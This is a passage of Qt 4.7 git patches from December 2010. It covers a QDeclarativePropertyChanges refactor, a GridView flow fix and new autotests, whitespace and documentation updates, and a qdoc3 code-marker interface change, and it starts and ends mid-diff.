QDeclarativeEnginePrivate::get(qmlEngine(obj)); diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h index 787a3b9..69931d9 100644 --- a/src/declarative/qml/qdeclarativebinding_p.h +++ b/src/declarative/qml/qdeclarativebinding_p.h @@ -163,6 +163,7 @@ public: virtual QString expression() const; typedef int Identifier; + static Identifier Invalid; static QDeclarativeBinding *createBinding(Identifier, QObject *, QDeclarativeContext *, const QString &, int, QObject *parent=0); public Q_SLOTS: diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 6737382..47f03a1 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -220,9 +220,19 @@ public: void decode(); + class ExpressionChange { + public: + ExpressionChange(const QString &_name, + QDeclarativeBinding::Identifier _id, + QDeclarativeExpression *_expr) + : name(_name), id(_id), expression(_expr) {} + QString name; + QDeclarativeBinding::Identifier id; + QDeclarativeExpression *expression; + }; + QList > properties; - QList > expressions; - QList ids; + QList expressions; QList signalReplacements; QDeclarativeProperty property(const QString &); @@ -315,7 +325,7 @@ void QDeclarativePropertyChangesPrivate::decode() QString name; bool isScript; QVariant data; - QDeclarativeBinding::Identifier id; + QDeclarativeBinding::Identifier id = QDeclarativeBinding::Invalid; ds >> name; ds >> isScript; ds >> data; @@ -337,8 +347,7 @@ void QDeclarativePropertyChangesPrivate::decode() QDeclarativeData *ddata = QDeclarativeData::get(q); if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber); - expressions << qMakePair(name, expression); - ids << id; + expressions << ExpressionChange(name, id, expression); } else { properties << qMakePair(name, data); } @@ -366,7 +375,7 @@ QDeclarativePropertyChanges::~QDeclarativePropertyChanges() { Q_D(QDeclarativePropertyChanges); for(int ii = 0; ii < d->expressions.count(); ++ii) - delete d->expressions.at(ii).second; + delete d->expressions.at(ii).expression; for(int ii = 0; ii < d->signalReplacements.count(); ++ii) delete d->signalReplacements.at(ii); } @@ -451,7 +460,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() for (int ii = 0; ii < d->expressions.count(); ++ii) { - const QString &property = d->expressions.at(ii).first; + const QString &property = d->expressions.at(ii).name; QDeclarativeProperty prop = d->property(property); if (prop.isValid()) { @@ -463,12 +472,12 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() a.specifiedProperty = property; if (d->isExplicit) { - a.toValue = d->expressions.at(ii).second->evaluate(); + a.toValue = d->expressions.at(ii).expression->evaluate(); } else { - QDeclarativeExpression *e = d->expressions.at(ii).second; + QDeclarativeExpression *e = d->expressions.at(ii).expression; - QDeclarativeBinding::Identifier id = d->ids.at(ii); - QDeclarativeBinding *newBinding = QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()); + QDeclarativeBinding::Identifier id = d->expressions.at(ii).id; + QDeclarativeBinding *newBinding = id != QDeclarativeBinding::Invalid ? QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()) : 0; if (!newBinding) { newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this)); newBinding->setSourceLocation(e->sourceFile(), e->lineNumber()); @@ -535,12 +544,12 @@ bool QDeclarativePropertyChanges::containsValue(const QString &name) const bool QDeclarativePropertyChanges::containsExpression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { + if (entry.name == name) { return true; } } @@ -557,12 +566,12 @@ void QDeclarativePropertyChanges::changeValue(const QString &name, const QVarian { Q_D(QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { + if (entry.name == name) { expressionIterator.remove(); if (state() && state()->isStateActive()) { QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name)); @@ -611,7 +620,7 @@ void QDeclarativePropertyChanges::changeExpression(const QString &name, const QS { Q_D(QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; bool hadValue = false; @@ -628,8 +637,8 @@ void QDeclarativePropertyChanges::changeExpression(const QString &name, const QS QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { - entry.second->setExpression(expression); + if (entry.name == name) { + entry.expression->setExpression(expression); if (state() && state()->isStateActive()) { QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name)); if (oldBinding) { @@ -646,7 +655,7 @@ void QDeclarativePropertyChanges::changeExpression(const QString &name, const QS } QDeclarativeExpression *newExpression = new QDeclarativeExpression(qmlContext(this), d->object, expression); - expressionIterator.insert(ExpressionEntry(name, newExpression)); + expressionIterator.insert(ExpressionEntry(name, QDeclarativeBinding::Invalid, newExpression)); if (state() && state()->isStateActive()) { if (hadValue) { @@ -692,7 +701,7 @@ QVariant QDeclarativePropertyChanges::property(const QString &name) const { Q_D(const QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -705,8 +714,8 @@ QVariant QDeclarativePropertyChanges::property(const QString &name) const QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { - return QVariant(entry.second->expression()); + if (entry.name == name) { + return QVariant(entry.expression->expression()); } } @@ -717,12 +726,12 @@ void QDeclarativePropertyChanges::removeProperty(const QString &name) { Q_D(QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { + if (entry.name == name) { expressionIterator.remove(); state()->removeEntryFromRevertList(object(), name); return; @@ -759,13 +768,13 @@ QVariant QDeclarativePropertyChanges::value(const QString &name) const QString QDeclarativePropertyChanges::expression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { - return entry.second->expression(); + if (entry.name == name) { + return entry.expression->expression(); } } -- cgit v0.12 From 956c026be3f0a701024aaa466e158a3744284a83 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Tue, 21 Dec 2010 17:05:04 +1000 Subject: ContentX and ContentY reset on flow change The gridView should be visible when the flow is changed, regardless of the content position before the flow change. Task-number: QTBUG-16230 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 4a6a9dc..5aa88b5 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1606,6 +1606,8 @@ void QDeclarativeGridView::setFlow(Flow flow) setContentHeight(-1); setFlickableDirection(QDeclarativeFlickable::HorizontalFlick); } + setContentX(0); + setContentY(0); d->clear(); d->updateGrid(); refill(); -- cgit v0.12 From 5af714b2f1ec9dd85707809397751128c95a93bf Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Tue, 21 Dec 2010 17:23:46 +1000 Subject: Adding autotest coverage to QDecalarativeGridView Tests added for snapping, and adding coverage for TopToBottom flow Reviewed-by: Martin Jones --- .../tst_qdeclarativegridview.cpp | 92 ++++++++++++++++++++++ 1 file changed, 92 insertions(+) diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp index fd5d140..bd9885d 100644 --- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp @@ -78,6 +78,7 @@ private slots: void componentChanges(); void modelChanges(); void positionViewAtIndex(); + void snapping(); void resetModel(); void enforceRange(); void QTBUG_8456(); @@ -993,6 +994,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position on a currently visible item gridview->positionViewAtIndex(4, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(120, 90), 4); QTRY_COMPARE(gridview->contentY(), 60.); // Confirm items positioned correctly @@ -1007,6 +1009,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position on an item beyond the visible items gridview->positionViewAtIndex(21, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(40, 450), 21); QTRY_COMPARE(gridview->contentY(), 420.); // Confirm items positioned correctly @@ -1021,6 +1024,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position on an item that would leave empty space if positioned at the top gridview->positionViewAtIndex(31, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(120, 630), 31); QTRY_COMPARE(gridview->contentY(), 520.); // Confirm items positioned correctly @@ -1035,6 +1039,9 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position at the beginning again gridview->positionViewAtIndex(0, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(0, 0), 0); + QTRY_COMPARE(gridview->indexAt(40, 30), 0); + QTRY_COMPARE(gridview->indexAt(80, 60), 4); QTRY_COMPARE(gridview->contentY(), 0.); // Confirm items positioned correctly @@ -1088,6 +1095,82 @@ void tst_QDeclarativeGridView::positionViewAtIndex() gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain); QTRY_COMPARE(gridview->contentY(), 100.); + // Test for Top To Bottom layout + ctxt->setContextProperty("testTopToBottom", QVariant(true)); + + // Confirm items positioned correctly + itemCount = findItems(contentItem, "wrapper").count(); + for (int i = 0; i < model.count() && i < itemCount-1; ++i) { + QDeclarativeItem *item = findItem(contentItem, "wrapper", i); + if (!item) qWarning() << "Item" << i << "not found"; + QTRY_VERIFY(item); + QTRY_COMPARE(item->x(), (i/5)*80.); + QTRY_COMPARE(item->y(), (i%5)*60.); + } + + // Position at End + gridview->positionViewAtIndex(30, QDeclarativeGridView::End); + QTRY_COMPARE(gridview->contentX(), 320.); + QTRY_COMPARE(gridview->contentY(), 0.); + + // Position in Center + gridview->positionViewAtIndex(15, QDeclarativeGridView::Center); + QTRY_COMPARE(gridview->contentX(), 160.); + + // Ensure at least partially visible + gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible); + QTRY_COMPARE(gridview->contentX(), 160.); + + gridview->setContentX(170); + gridview->positionViewAtIndex(25, QDeclarativeGridView::Visible); + QTRY_COMPARE(gridview->contentX(), 170.); + + gridview->positionViewAtIndex(30, QDeclarativeGridView::Visible); + QTRY_COMPARE(gridview->contentX(), 320.); + + gridview->setContentX(170); + gridview->positionViewAtIndex(25, QDeclarativeGridView::Contain); + QTRY_COMPARE(gridview->contentX(), 240.); + + delete canvas; +} + +void tst_QDeclarativeGridView::snapping() +{ + QDeclarativeView *canvas = createView(); + + TestModel model; + for (int i = 0; i < 40; i++) + model.addItem("Item" + QString::number(i), ""); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + ctxt->setContextProperty("testTopToBottom", QVariant(false)); + + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); + qApp->processEvents(); + + QDeclarativeGridView *gridview = findItem(canvas->rootObject(), "grid"); + QTRY_VERIFY(gridview != 0); + + gridview->setHeight(220); + QCOMPARE(gridview->height(), 220.); + + gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible); + QCOMPARE(gridview->contentY(), 80.); + + gridview->setContentY(0); + QCOMPARE(gridview->contentY(), 0.); + + gridview->setSnapMode(QDeclarativeGridView::SnapToRow); + QCOMPARE(gridview->snapMode(), QDeclarativeGridView::SnapToRow); + + gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible); + QCOMPARE(gridview->contentY(), 60.); + + gridview->positionViewAtIndex(15, QDeclarativeGridView::End); + QCOMPARE(gridview->contentY(), 120.); + delete canvas; } @@ -1231,6 +1314,15 @@ void tst_QDeclarativeGridView::manualHighlight() QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 2)); QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); + + gridview->setFlow(QDeclarativeGridView::TopToBottom); + QTRY_COMPARE(gridview->flow(), QDeclarativeGridView::TopToBottom); + + gridview->setCurrentIndex(0); + QTRY_COMPARE(gridview->currentIndex(), 0); + QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 0)); + QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); + QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); } void tst_QDeclarativeGridView::footer() -- cgit v0.12 From 111e306c9991a0d89b0001b476e466891974945f Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Tue, 21 Dec 2010 09:12:58 +0100 Subject: QDeclarativeDebug: Remove unused file Got added in 5336e1838a95d97. --- src/declarative/debugger/debugger.pri | 1 - src/declarative/debugger/qdeclarativedebugserverplugin_p.h | 0 2 files changed, 1 deletion(-) delete mode 100644 src/declarative/debugger/qdeclarativedebugserverplugin_p.h diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index 9152677..75287b4 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -19,6 +19,5 @@ HEADERS += \ $$PWD/qdeclarativedebug_p.h \ $$PWD/qdeclarativedebugtrace_p.h \ $$PWD/qdeclarativedebughelper_p.h \ - $$PWD/qdeclarativedebugserverplugin_p.h \ $$PWD/qdeclarativedebugserver_p.h \ debugger/qdeclarativedebugserverconnection_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserverplugin_p.h b/src/declarative/debugger/qdeclarativedebugserverplugin_p.h deleted file mode 100644 index e69de29..0000000 -- cgit v0.12 From b22ff71d8f8fa03260d5ad0eef67184a047685e7 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 15:04:04 +0100 Subject: Doc: Fixed whitespace. --- doc/src/template/style/narrow.css | 14 ++++++------ doc/src/template/style/superfish.css | 44 ++++++++++++++++++------------------ 2 files changed, 29 insertions(+), 29 deletions(-) diff --git a/doc/src/template/style/narrow.css b/doc/src/template/style/narrow.css index fbb0752..39b4740 100644 --- a/doc/src/template/style/narrow.css +++ b/doc/src/template/style/narrow.css @@ -135,7 +135,7 @@ .creator .wrap { margin: 0px; - background:#FFFFFF; + background:#FFFFFF; } .narrow .wrap .toolbar { @@ -170,7 +170,7 @@ .narrow .wrap .breadcrumb ul li.last a { color: #363534; } - + #narrowsearch { display: none; } @@ -213,7 +213,7 @@ width: 64%; padding-left: 0; } - + .narrow .indexboxcont .sectionlist { width: 32.5%; } @@ -253,7 +253,7 @@ #narrowmenu li, #narrowmenu li ul { background-color: #fff; - margin-top:-1px; + margin-top:-1px; } #narrowmenu li ul { @@ -266,6 +266,6 @@ } /* end narrow mode */ - .creator #narrowsearch, .creator #narrowmenu{ - display:none; - } + .creator #narrowsearch, .creator #narrowmenu{ + display:none; + } diff --git a/doc/src/template/style/superfish.css b/doc/src/template/style/superfish.css index 0cf0f7d..2bdaef4 100644 --- a/doc/src/template/style/superfish.css +++ b/doc/src/template/style/superfish.css @@ -1,51 +1,51 @@ .sf-menu, .sf-menu * { - margin: 0; - padding: 0; - list-style: none; + margin: 0; + padding: 0; + list-style: none; } .sf-menu { - line-height: 1.0; + line-height: 1.0; } .sf-menu ul { - position: absolute; - top: -999em; - width: 10em; /* left offset of submenus need to match (see below) */ + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ } .sf-menu ul li { - width: 100%; + width: 100%; } .sf-menu li:hover { - visibility: inherit; /* fixes IE7 'sticky bug' */ + visibility: inherit; /* fixes IE7 'sticky bug' */ } .sf-menu li { - float: left; - position: relative; + float: left; + position: relative; } .sf-menu a { - display: block; - position: relative; + display: block; + position: relative; } .sf-menu li:hover ul, .sf-menu li.sfHover ul { - left: 0; - top: 2.5em; /* match top ul list item height */ - z-index: 99; + left: 0; + top: 2.5em; /* match top ul list item height */ + z-index: 99; } ul.sf-menu li:hover li ul, ul.sf-menu li.sfHover li ul { - top: -999em; + top: -999em; } ul.sf-menu li li:hover ul, ul.sf-menu li li.sfHover ul { - left: 10em; /* match ul width */ - top: 0; + left: 10em; /* match ul width */ + top: 0; } ul.sf-menu li li:hover li ul, ul.sf-menu li li.sfHover li ul { - top: -999em; + top: -999em; } ul.sf-menu li li li:hover ul, ul.sf-menu li li li.sfHover ul { - left: 10em; /* match ul width */ - top: 0; + left: 10em; /* match ul width */ + top: 0; } -- cgit v0.12 From ae0f24513158ea48b21ba3e6676c5fb8a786a73e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 15:07:16 +0100 Subject: Doc: Fixed whitespace. --- tools/qdoc3/test/compat.qdocconf | 8 ++++---- tools/qdoc3/test/qt-cpp-ignore.qdocconf | 10 +++++----- tools/qdoc3/test/qt-defines.qdocconf | 4 ++-- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/tools/qdoc3/test/compat.qdocconf b/tools/qdoc3/test/compat.qdocconf index 5745ed9..0b59629 100644 --- a/tools/qdoc3/test/compat.qdocconf +++ b/tools/qdoc3/test/compat.qdocconf @@ -1,5 +1,5 @@ -alias.i = e -alias.include = input +alias.i = e +alias.include = input macro.0 = "\\\\0" macro.b = "\\\\b" @@ -27,5 +27,5 @@ macro.img = "\\image" macro.endquote = "\\endquotation" macro.relatesto = "\\relates" -spurious = "Missing comma in .*" \ - "Missing pattern .*" +spurious = "Missing comma in .*" \ + "Missing pattern .*" diff --git a/tools/qdoc3/test/qt-cpp-ignore.qdocconf b/tools/qdoc3/test/qt-cpp-ignore.qdocconf index 5d52a47..044eef4 100644 --- a/tools/qdoc3/test/qt-cpp-ignore.qdocconf +++ b/tools/qdoc3/test/qt-cpp-ignore.qdocconf @@ -71,8 +71,8 @@ Cpp.ignoretokens = QAXFACTORY_EXPORT \ QT_END_INCLUDE_NAMESPACE \ PHONON_EXPORT \ Q_DECLARATIVE_EXPORT \ - Q_GADGET \ - QWEBKIT_EXPORT \ + Q_GADGET \ + QWEBKIT_EXPORT \ Q_INVOKABLE Cpp.ignoredirectives = Q_DECLARE_HANDLE \ Q_DECLARE_INTERFACE \ @@ -93,6 +93,6 @@ Cpp.ignoredirectives = Q_DECLARE_HANDLE \ K_DECLARE_PRIVATE \ PHONON_OBJECT \ PHONON_HEIR \ - Q_PRIVATE_PROPERTY \ - Q_DECLARE_PRIVATE_D \ - Q_CLASSINFO + Q_PRIVATE_PROPERTY \ + Q_DECLARE_PRIVATE_D \ + Q_CLASSINFO diff --git a/tools/qdoc3/test/qt-defines.qdocconf b/tools/qdoc3/test/qt-defines.qdocconf index bf7fd08..50a355f 100644 --- a/tools/qdoc3/test/qt-defines.qdocconf +++ b/tools/qdoc3/test/qt-defines.qdocconf @@ -3,12 +3,12 @@ defines = Q_QDOC \ QT_.*_LIB \ QT_COMPAT \ QT_KEYPAD_NAVIGATION \ - QT_NO_EGL \ + QT_NO_EGL \ QT3_SUPPORT \ Q_WS_.* \ Q_OS_.* \ Q_BYTE_ORDER \ - QT_DEPRECATED \ + QT_DEPRECATED \ Q_NO_USING_KEYWORD \ __cplusplus -- cgit v0.12 From 9862f29b3c8d3f23113388b48b1c4b86523137dc Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 15:07:46 +0100 Subject: Doc: Updated the Qt version number. --- tools/qdoc3/test/qt-project.qdocconf | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf index 135fbbb..ca7caa9 100644 --- a/tools/qdoc3/test/qt-project.qdocconf +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -6,7 +6,7 @@ include(qt-defines.qdocconf) project = Qt description = Qt Reference Documentation url = http://qt.nokia.com/doc/4.7 -version = 4.7.1 +version = 4.7.2 sourceencoding = UTF-8 outputencoding = UTF-8 @@ -20,9 +20,9 @@ qhp.Qt.virtualFolder = qdoc qhp.Qt.indexTitle = Qt Reference Documentation qhp.Qt.indexRoot = -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 +qhp.Qt.filterAttributes = qt 4.7.2 qtrefdoc +qhp.Qt.customFilters.Qt.name = Qt 4.7.2 +qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.2 qhp.Qt.subprojects = classes overviews examples qhp.Qt.subprojects.classes.title = Classes qhp.Qt.subprojects.classes.indexTitle = Qt's Classes -- cgit v0.12 From fa4526a79112baccf9b00adca7f360ac8588a22d Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 17:35:43 +0100 Subject: Doc: Updated the HarfBuzz license information. As-requested-by: Legal --- doc/src/legal/3rdparty.qdoc | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc index 9cc83a6..e2c088a 100644 --- a/doc/src/legal/3rdparty.qdoc +++ b/doc/src/legal/3rdparty.qdoc @@ -92,13 +92,8 @@ \section1 HarfBuzz (\c harfbuzz) - \e{This is HarfBuzz, an OpenType Layout engine.} - - \e{It was derived originally from the OpenType code in FreeType-1.x, ported to - FreeType2. (This code has been abandoned for FreeType2, but until something - better comes along, should serve our purposes.) In addition to porting to - FreeType-2, it has been modified in various other ways.} -- quoted from - \c src/3rdparty/harfbuzz/README. + \e{This is HarfBuzz, an OpenType Layout engine library.} + -- quoted from \c src/3rdparty/harfbuzz/README. \hr @@ -129,8 +124,7 @@ \hr - See \c src/3rdparty/harfbuzz/COPYING.FTL and src/3rdparty/harfbuzz/COPYING.GPL - for license details. + See \c src/3rdparty/harfbuzz/COPYING for license details. \section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 8 -- cgit v0.12 From 84232c88aa9b05d91016b66963d68b8096099f9c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 17:36:25 +0100 Subject: Doc: Changed a page title. --- doc/src/declarative/anchor-layout.qdoc | 2 +- doc/src/declarative/declarativeui.qdoc | 2 +- doc/src/declarative/qdeclarativereference.qdoc | 2 +- doc/src/declarative/tutorial.qdoc | 4 ++-- doc/src/getting-started/gettingstartedqml.qdoc | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc index f5d5697..e9f79d1 100644 --- a/doc/src/declarative/anchor-layout.qdoc +++ b/doc/src/declarative/anchor-layout.qdoc @@ -28,7 +28,7 @@ /*! \page qml-anchor-layout.html \target anchor-layout -\title Anchor-based Layout in QML +\title Anchor-Based Layout in QML \section1 Overview diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index 41b9952..e10c5c8 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -91,7 +91,7 @@ Module. \list \o \l{QML Documents} \o \l{Property Binding} -\o \l{Anchor-based Layout in QML} +\o \l{Anchor-Based Layout in QML} \o \l{Writing QML Components: Properties, Methods and Signals} \o \l{QML Scope} \o \l{QML Modules} diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc index c2c5e91..76fcc40 100644 --- a/doc/src/declarative/qdeclarativereference.qdoc +++ b/doc/src/declarative/qdeclarativereference.qdoc @@ -64,7 +64,7 @@ \o \l {QML Scope} \o \l {Network Transparency} \o \l {qmlmodels}{Data Models} - \o \l {anchor-layout}{Anchor-based Layout} + \o \l {anchor-layout}{Anchor-Based Layout} \o \l {qmlstates}{States} \o \l {qdeclarativeanimation.html}{Animation} \o \l {qdeclarativemodules.html}{Modules} diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc index d8139b4..a24fa85 100644 --- a/doc/src/declarative/tutorial.qdoc +++ b/doc/src/declarative/tutorial.qdoc @@ -94,7 +94,7 @@ We add a \l Text element as a child of the root Rectangle element that displays The \c y property is used to position the text vertically at 30 pixels from the top of its parent. The \c anchors.horizontalCenter property refers to the horizontal center of an element. -In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}). +In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}). The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}. @@ -156,7 +156,7 @@ We will use this signal to change the color of the text in the main QML file lat Our cell component is basically a colored rectangle with the \c id \e rectangle. The \c anchors.fill property is a convenient way to set the size of an element. -In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}). +In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}). \snippet examples/declarative/tutorials/helloworld/Cell.qml 3 diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc index e3977bb..11fad03 100644 --- a/doc/src/getting-started/gettingstartedqml.qdoc +++ b/doc/src/getting-started/gettingstartedqml.qdoc @@ -133,7 +133,7 @@ the interactive area where mouse movements are detected. For our button, we anchor the whole MouseArea to its parent, which is \c simplebutton. The \c anchors.fill syntax is one way of accessing a specific property called \c fill inside a group of properties - called \c anchors. QML uses \l {Anchor-based Layout in QML}{anchor based layouts} where + called \c anchors. QML uses \l {Anchor-Based Layout in QML}{anchor-based layouts} where items can anchor to another item, creating robust layouts. The \c MouseArea has many signal handlers that are called during mouse movements within -- cgit v0.12 From ea41ba11fc848dbefecb0cde324478ab1986e555 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 18:38:04 +0100 Subject: Enabled error reporting and a plain text fallback for invalid QML. The location of places where code is included in documentation is now passed into each code marker when highlighted code is needed. --- tools/qdoc3/codemarker.h | 2 +- tools/qdoc3/cppcodemarker.cpp | 9 +++++---- tools/qdoc3/cppcodemarker.h | 4 ++-- tools/qdoc3/doc.cpp | 6 +++--- tools/qdoc3/jscodemarker.cpp | 12 +++++++++--- tools/qdoc3/jscodemarker.h | 6 +++--- tools/qdoc3/plaincodemarker.cpp | 2 +- tools/qdoc3/plaincodemarker.h | 2 +- tools/qdoc3/qmlcodemarker.cpp | 15 +++++++++++---- tools/qdoc3/qmlcodemarker.h | 6 +++--- 10 files changed, 39 insertions(+), 25 deletions(-) diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index 029ddb9..3cf3984 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -126,7 +126,7 @@ class CodeMarker const Node *relative = 0) = 0; virtual QString markedUpCode(const QString& code, const Node *relative, - const QString& dirPath) = 0; + const Location &location) = 0; virtual QString markedUpSynopsis(const Node *node, const Node *relative, SynopsisStyle style) = 0; diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 55a455f..8ea1c7f 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -157,9 +157,9 @@ QString CppCodeMarker::plainFullName(const Node *node, const Node *relative) QString CppCodeMarker::markedUpCode(const QString &code, const Node *relative, - const QString &dirPath) + const Location &location) { - return addMarkUp(protect(code), relative, dirPath); + return addMarkUp(protect(code), relative, location); } QString CppCodeMarker::markedUpSynopsis(const Node *node, @@ -440,7 +440,8 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) code += "#include <<@headerfile>" + *inc + ">\n"; ++inc; } - return addMarkUp(code, 0, ""); + Location location; + return addMarkUp(code, 0, location); } QString CppCodeMarker::functionBeginRegExp(const QString& funcName) @@ -868,7 +869,7 @@ const Node *CppCodeMarker::resolveTarget(const QString& target, QString CppCodeMarker::addMarkUp(const QString& protectedCode, const Node * /* relative */, - const QString& /* dirPath */) + const Location & /* location */) { static QRegExp globalInclude("#include +<([^<>&]+)>"); static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)" diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index 40695c5..bb307f9 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -63,7 +63,7 @@ class CppCodeMarker : public CodeMarker virtual QString plainFullName(const Node *node, const Node *relative); virtual QString 